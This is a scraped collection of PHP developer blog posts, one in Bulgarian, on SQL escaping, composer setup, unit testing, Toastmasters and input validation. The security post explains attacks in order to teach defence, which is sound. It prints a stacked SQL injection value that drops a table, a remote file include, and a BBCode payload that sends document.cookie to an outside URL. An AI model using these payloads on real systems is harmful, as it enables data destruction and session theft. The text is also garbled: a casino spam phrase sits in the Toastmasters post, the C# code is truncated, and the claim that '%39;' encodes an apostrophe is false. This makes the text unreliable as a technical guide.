http___blog.petkanski.com_2011__1.xml
http___andrewjudd.ca_blog_category_php.xml
1.1 1.2 1.3 2.1 2.2 3.1 4.1 4.2 4.3 5.1 6.1 6.2 7.1 7.2 7.3 8.1 9.1 10.1 11.1 12.1 13.1 13.2 14.1 16.1 17.1 18.1 19.1 19.2
Доста време не съм пускал нови статийки в блога, но така е когато времето е в сериозен минус. Не успявам да се справя дори със задачите които съм обещал преди повече от месец, какво остава да намеря свободно време да пиша на свободна тематика. Ники Василев ме чака вече не знам колко време за едно елементарно скриптче, а аз се мотам ли мотам.. Луда работа. По темата.. Днес ми се наложи да сравнявам предимства и недостатъци на няколко framework-чета. При едното от тях липсваше вграден database model, така че се наложи да ползвам нещо отделно. В конкретният случай се спрях на PDO и реших да си напиша няколко базови класчета.. За да съкратя историята, направо ще ви синтезирам това което Ви е нужно да знаете ;) При МySQL имате два вида сравнение на низ от символи (string) - това са равенство и сравнение с pattern, посредством LIKE или регулярен израз. В моят случай използвам LIKE, защото е най-бърз за имплементация и защото отговаря на нуждите ми и няма смисъл от overengineering. Случаят е простичък - имам данни в базата, имам и търсачка която търси с LIKE. Това което ме изненада, беше, че mysql_real_escape_string() допусна символи в низа които са със специално значение, а именно - символите за процент (%) и долно тире (_). В най-общият случай - при вмъкване на данни или сравнение със равенство това не ви бърка, но когато ползвате LIKE нещата стоят по малко по-различен начин. Получи се ситуация, при която аз търся в базата данни къде е споменато "100%", но тъй като символът за процент не се escape-ва, се получава, че търся низ който съдържа 100. Query-то което се генерира е следното: SELECT * FROM SomeTable WHERE `textField` LIKE '%100%%' Очевидно, това не е поведението което би се очаквало, след като имаш илюзията, че данните са ти escape-нати правилно. След като разбрах какъв е проблема си помислих, че може би е проблем на mysql_real_escape_string() и веднага си отворих http://www.php.net/mysql_real_escape_string - но се оказа, че това е очаквано поведение. В документацията на функцията ясно са писали, че тя "prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a". Ето го точният цитат от сайта mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. Може би символите за wildcard попадат точно в тези изключения които са споменали. Изводът е простичък - винаги минавайте един профилактичен str_ireplace() или preg_replace() на данните които използвате при генериране на заявка за търсене в базата данни за да няма изненади. Нека това, че ползвате prepared statements не ви дава чувство за сигурност.
1.1 2.1 3.1 4.1 4.2 4.3 5.1 5.2 5.3 5.4 6.1 6.2 6.3 6.4 7.1 7.2 8.1 9.1 9.2 10.1 11.1 12.1 12.2 12.3 13.1 13.2 14.1 15.1 15.2 15.3 15.4 15.5 16.1 16.2 16.3 16.4 17.1 17.2 17.3 17.4 17.5 17.6 17.7 17.8 17.9 17.10 17.11 18.1 19.1 19.2 20.1 21.1 22.1 23.1 24.1 24.2 24.3 24.4 25.1 25.2 25.3 25.4 25.5 25.6 25.7 25.8 26.1 26.2 26.3 27.1 27.2 28.1 28.2 28.3 28.4 29.1 29.2 29.3 30.1 30.2 30.3 30.4 30.5 30.6 30.7 31.1 31.2 31.3 31.4 31.5 31.6 31.7 31.8 31.9 31.10 31.11 32.1 32.2 32.3 33.1 34.1 34.2 35.1 35.2 36.1 37.1 38.1 39.1 40.1 40.2 40.3 41.1 42.1 43.1 44.1 45.1 45.2 46.1 47.1 48.1 49.1 49.2 50.1 51.1 52.1 53.1 54.1 54.2 55.1 56.1 57.1 57.2 58.1 61.1 63.1 63.2 63.3 64.1 65.1 66.1 71.1 71.2 72.1 73.1 74.1 75.1 76.1 77.1 78.1 78.2 78.3 78.4 78.5 78.6 78.7 79.1 80.1 81.1 82.1 83.1 83.2 84.1 85.1 86.1 87.1 87.2 87.3 87.4 87.5 87.6 87.7 87.8 87.9 88.1 89.1 90.1 90.2 90.3 90.4 90.5 90.6 90.7 90.8 90.9 92.1 94.1 94.2 95.1 96.1 98.1 98.2 99.1 99.2 99.3 100.1 101.1 102.1 102.2 102.3 103.1 103.2 103.3 103.4 104.1 104.2 105.1 106.1 106.2 106.3 106.4 107.1 108.1
I recently started playing more and more with PHP7.1. To begin my experience, I started by aliasing on my command shell as follows: alias php='/Applications/MAMP/bin/php/php7.1.0/bin/php -c "/Library/Application Support/appsolute/MAMP PRO/conf/php7.1.0.ini"' I thought ok cool, with it being on my path as “php” composer will automatically pick up that version. However, it did not. I kept getting the following error message: Your requirements could not be resolved to an installable set of packages. Problem 1 - package/name dev-master requires php ^7.0 -> your PHP version (5.6.28) does not satisfy that requirement. - package/name dev-master requires php ^7.0 -> your PHP version (5.6.28) does not satisfy that requirement. - Installation request for package/name *@dev -> satisfiable by package/name[dev-master]. Finally, I decided to do a bit more digging. In doing so, I determined that composer was getting PHP from my path. However, only an un-aliased version of it. This meant that it ended up pointing back to the base install of PHP 5.6. So, what I needed to do to fix the problem, was to update the order in which it finds PHP on the path. More specifically, in my “.profile” file, I updated the PATH variable to say the following: export PATH="/Applications/MAMP/bin/php/php7.1.0/bin/:$PATH" And that is all. I am now able to successfully run composer with PHP7.1. Posted in php Tags: Testing in general is a process that is normally left really in a partial state. The problem with this fact is it normally leaves things up to users or testers to find. And then, once found, the cost to fix the bug could be huge and hypothetically speaking, could touch various other parts of the application. This is where unit tests and integration tests come in handy! Since this is a fairly broad topic, I am going to start by just talking about Unit Tests. By definition, unit testing is a software testing method by which individual units of the source code are tested to determine whether they are fit to use. So let's start from the beginning. What is a unit? It is the smallest testable part of an application. In procedural programming this could be an entire function, or as much as an entire page / section of code. In object oriented programming, these either an interface, or could even be a class. But writing unit tests is still me writing code how will it help in the long run since it's taking away from the development of my site? It will help in the long run. I've had several occasions come up when I go to change "one small thing" which then ripples through and breaks other pages that touch this one unit. Essentially you are building your first layer of protection against future potential bugs. The nice thing about writing test cases is it also allows you test things that may occur on the fringe cases. This will help to ensure that everything will should act as it's supposed to even in the strangest of situations. One of my favourite testing strategies (although admittedly I rarely do it), is actually test driven development. With Test Driven Development, you start coding by knowing what you want the end result to be (for your unit of work). You actually write tests for it and expect it to fail. If it doesn't fail right out of the gate, then your test may not actually be doing anything/finding anything useful. Then as you work your way through the development of this unit, you run your tests. Are all of your tests passing? If they aren't, then you know that you still have some work to do. However, if everything passes, then you know your application should work for at least all of your known cases. Which if you set up your tests correctly, should give you good confidence in the code. The nice thing about writing these unit tests is that once you find a bug in any environment and resolve it, you are then able to actually write a unit test in order to actually test for that case so, if you change some more code, you don't re-introduce that bug. With PHP, I, like most people, use PHPUnit as the primary unit testing software. Not only because it's built into Laravel and Laravel actually has helpers built on top to make the testing process even easier! Although writing these test cases can sometimes be a big pain in the butt, if you do it correctly it can help you to spot issues earlier on in development before the time when it is "too late". Hopefully this comes in handy for you! Posted in php Tags: When I was on my second Co-op work term, one of my bosses had suggested to me that I join Toastmasters. What is Toastmasters? It is an organization which was formed to help people to work on their public speaking skills. This past year when writing up my personal goals, I finally decided that it was time to take this advice. I started visiting a club near my house back in January, and man was I impressed. Not only at the professionalism of the group, but at how friendly and warm everyone around you was. This was truly a safe place for people to go who lack confidence in the speaking. That night, I heard speeches from three different club members of varying levels. Man these were impressive. Some of the speakers I swore were professionals. Along with that, I got to partake in the Table Topics which is essentially a way to get you to start talking off the top of your head on a topic that is just presented to you. I was incredibly nervous. I still remember it. I had to talk for 30 seconds to a minute about pasta (the topic for the day was nutrition). What am I to say? Three weeks later, I became a member. Shortly after that, I started taking on roles at the meeting in order to increase my speaking time a bit. My first role was the Timer. Sitting and listening to the timer’s little blurb at the beginning, each and every week I thought to myself that I could easily do it. And then it was my time to speak, and I froze. I felt like a babblering fool not able to formulate my thoughts properly despite the fact that I had said it to myself several times before that. I went on to do a few more roles in the weeks to come in order to help raise my confidence and get used to the nervous feeling a little more and more each week. It was working. People around me had started noticing slight improvements in my speaking. This week was my Ice Breaker. I spoke about my dog and how having him influenced what I eventually saw as my career path. When did I actually write the Ice Breaker? Saturday. Was I 100% ready for it? Probably not, but I still decided despite the fact that I didn’t feel 100% prepared (i.e. I didn’t have the entire speech memorized), I still felt I needed to get up and do it, otherwise I would just keep putting it off. So, I took the plunge. Man it felt weird! The minute I got up there in front of everyone, my mind went blank. I had practiced my speech several times both in front of my family and by myself, but the fact that I was saying it in front of 30 unfamiliar faces felt completely different. First thing that I noticed was that time flew. The speech that I had timed to be 5 minutes and 40 seconds turned into a 6 minute and 29 second speech, 29 seconds over the time limit. Mentally I knew that I knew the contents of the speech because I lived it and I had practiced my wording of it. But then as soon as I got up there, everything changed. I tried not to use my notes but every once in a while I needed that little cue. Not only that, but as soon as I started talking, my mind felt like it was 2 paragraphs ahead of what my mouth was actually saying. I was so confused. In the end, I think I got my daily exercise from the amount of nervous walking that I did, and I hope that I wasn’t just muttering words which I felt that I was at time (everything felt so disjointed in my head, but that could just be my interpretation). The group was entirely understanding of the feat that I just went through. No matter how badly I felt I screwed it up, the rest of the club seemed to cheer me on which felt good. I know it wasn’t the best online pokies sites speech anyone had ever heard, but what the heck, it was my first one. I look forward to writing and practicing my second speech hoping that the next time I go up maybe my mind will be a little more clear. I encourage anyone who feels that they lack the confidence in their verbal communication skills to try a Toastmasters club near you. I’ve been a member since February and no two meetings are the same, and I actually feel kind of sad when I am not actually able to make it to the Wednesday night meeting. I would strongly encourage anyone to find one in your area to try it out. You won’t regret it! Thanks for reading Posted in php Tags: I was implementing an image resizer and I kept running into a problem where I kept getting error messages saying that the image file was in use even after I disposed of the object in memory (the last step was to remove the unresized image). Calling object. Dispose() is just a suggestion to say “whenever you want, we don’t need this in memory anymore”. However, because it doesn’t get rid of it immediately, meaning that it is still being referenced which means that the file won’t be able to be deleted immediately. In order to get around this, you need to call the garbage collector yourself to force the application to get rid of the object from memory. The code: string dest = @"C:\"; FileInfo imageFile = new FileInfo(file); Image image = ResizeImage(Image. FromFile(file),size); // Save the file to the file system SaveAsJpeg(image, dest + imageFile. // We don't need the image in memory any more (suggest it to be deleted) image. Dispose(); // Call the garbage collector Collect(); WaitForPendingFinalizers(); // Delete the old file imageFile. Delete(); Posted in php Tags: Just because PHP allows you to do something, doesn't mean that it is the best thing to do. For example, PHP will automatically convert single word strings (non-quote/apostrophe delimited) into an actual string if required. $arr = array(); $arr[foo]='bar'; In this case, PHP will automatically convert foo to the string 'foo'. However, this up conversion doesn't come without a cost. For example, when timing the use of this script, the following are the results: $ time php test.php real 0m1.641s user 0m1.424s sys 0m0.044s However, when running the following script and not forcing it to up convert, the results are extremely different. $arr = array(); In this case, the word 'foo' is already pre-defined as a string, so no up conversion is required. The time for this is as follows: $ time php test.php real 0m0.467s user 0m0.292s sys 0m0.052s As you can see, by including the quotes and telling PHP that it actually is a string, you can potentially reduce the execution time for your PHP scripts. Keep this in mind when using the associative arrays in PHP. Posted in php Tags: I must first start this post with a comic on the topic ... it comes from xkcd.com. Anyways, this shows one of the many reasons why one should never trust any input from a user. This means that you should assume that all users have malicious intent and are attempting to break into your site. Of course, this is not always the case however, when it is, bad things can happen all around. No matter how you are getting data from the user, be it through an input field, URL, hidden field, drop down list etc. users are able to change the information to better suit their attacking desires. This means always make sure that the data is within the bounds of what is expected! What are some examples of bad things which can happen from the user of exploits? I have listed two of the more common threats which I see on a day-to-day basis. Examples! SQL Injection Just say you have a form where you allow the user to select how many records they want to display: How many records should be displayed? And the back end of your application looks something like this: $query = "SELECT * FROM `news` LIMIT " . $_POST["count"]; $res = mysql_query($query); What is to stop the user from modifying one of the values in the drop down list to: 5; DROP TABLE `news`; Nothing! However, if you don't prevent such a thing from being allowed in your query (i.e. not doing enough data validation), after the user runs that query, your entire 'news' table will be dropped from the system, which was probably not what was originally intended for the script. I have mentioned this method of prevention before, and I'll mention it again, SQL prepared statements. If data is sent in as a parameter rather than as a direct part of the query, there are no chances that the query may be mistaken and have two queries execute instead of one. Cross Site Scripting (XSS) These security vulnerabilities can be fairly hard to track down, however there is always a way. Simple XSS Just say you have your URLs as something like this: http://url.com/read.php?file=temp.php Where in your actual PHP script you have a server side include for whatever value was passed in through $_GET. Well, this is opening up an entirely new can of worms. Yes it works for pages which are on your server, however, it will also work for sites which are off site if you are not careful in your validation. Sample Code: // This is a VERY bad idea, however it is only an example include($_GET['file']); If I were to change the URL from: http://url.com/file=temp.php To: http://url.com/file=http://www.google.com By default, PHP will not think anything of it. It will treat the website as a file stream just as it does the 'temp.php' which was originally passed in. And low and behold, somebody is now using your site to access Google. Lesson: validate and verify that the file exists LOCALLY before running the include. Cookie Grabber Since cookies are only accessible on the site which they are associated with, cookie grabbers must use this in order to get the information they need. A fair number of implementations of BBCode which I have seen have allowed for gaping holes because of this. For example, most implementations use regular expressions in order to pick up on the required information (which is what they should be used for). However, since urls and things can have a large number of characters, most programmers choose to use the greedy approach and use the 'anything but newline character' (the period). Regex (something similar to this, as I cannot remember the exact regular expression): This regular expression will then be replaced in the emitted HTML code to be: This is all fine and dandy, and it picks up what is required however, it also has the ability to pick up more than expected and/or desired. For example, if the following was provided it would allow the user to gain access to the cookies which are for a particular site. [img=http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie] This has the potential for changing the emitted HTML into becoming: Effectively causing your web browser to relocate to a different URL with your cookie in the link which they will then log for future use. Of course, if a little extra time was spent in the sanitation of the input problems like this can be filtered out. Summary: In summary, never ever ever trust user's input. It will only lead you towards worlds of pain. Hope this helps! Posted in php Tags: I have recently seen posted numerous times that if you run the function 'mysql_real_escape_string' on any data, you are then automatically safe from SQL injection. Well, this isn't the case at all ... To start, let's look at what php's documentation about 'mysql_real_escape_string' says: php.net Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used. mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. So, not only does it force you to have the mysql connection (why is this really needed for just escaping a few characters?), it just adds a '\' before some of the characters which could break a query. This is because lots of people write queries as follows: $query = "SELECT `user_id`, `username`, `startdate` FROM `users` WHERE `username` = '$username'"; However, if $username contains "blarg'; DROP TABLE `users`; --", then mysql_real_escape_string will change it to "blarg\'; DROP TABLE `users`; --" which will not break the query (so the users table will not be dropped). But if the attacker was smarter and used a different representation of it by using %39; (hexadecimal value for '), mysql_real_escape_string will not touch it, so it will go into your query and inconveniently drop your table. This small example shows the the use of 'mysql_real_escape_string' is ineffective in preventing against SQL injection. Instead of using 'mysql_real_escape_string' I would strongly suggest the use of database parameters (prepared statements) for all queries, or create a way which will convert from the %39; to their corresponding values (i.e. html special chars decode) just to make sure that characters you don't want to be in there don't sneak in. Posted in php Tags: